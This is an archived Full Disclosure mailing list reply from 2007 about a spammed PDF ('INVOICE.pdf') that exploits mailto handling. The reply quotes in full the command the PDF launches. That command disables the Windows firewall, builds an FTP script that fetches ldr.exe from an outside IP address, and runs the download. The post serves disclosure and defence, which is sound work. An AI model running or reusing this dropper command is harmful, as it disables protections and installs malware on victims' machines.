Full Disclosure mailing list archives
Re: PDF mailto exploit in the wild
From: biz4rre () gmail com
Date: Tue, 23 Oct 2007 20:51:12 +0300
yes, it try to open: mailt0:%/../../../../../../Windows/system32/cmd".exe"" /c /q \"@echo off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1& start ldr.exe&\" \"&\" "nul.bat" PS. mailt0 == mailto PPS. ***king spammers 2007/10/23, Paul Szabo <psz () maths usyd edu au>:
In case you are interested... messages like the following were spammed to my users tonight.Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="INVOICE.pdf"
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- PDF mailto exploit in the wild Paul Szabo (Oct 23)
- Re: PDF mailto exploit in the wild Nick Boyce (Oct 23)
- Re: PDF mailto exploit in the wild Gregory Boyce (Oct 23)
- Re: PDF mailto exploit in the wild Nick Boyce (Oct 23)
- Re: PDF mailto exploit in the wild Gregory Boyce (Oct 23)
- Re: PDF mailto exploit in the wild 3APA3A (Oct 23)
- Re: PDF mailto exploit in the wild Paul Szabo (Oct 23)
- Re: PDF mailto exploit in the wild biz4rre (Oct 23)
- Re: PDF mailto exploit in the wild Nick Boyce (Oct 23)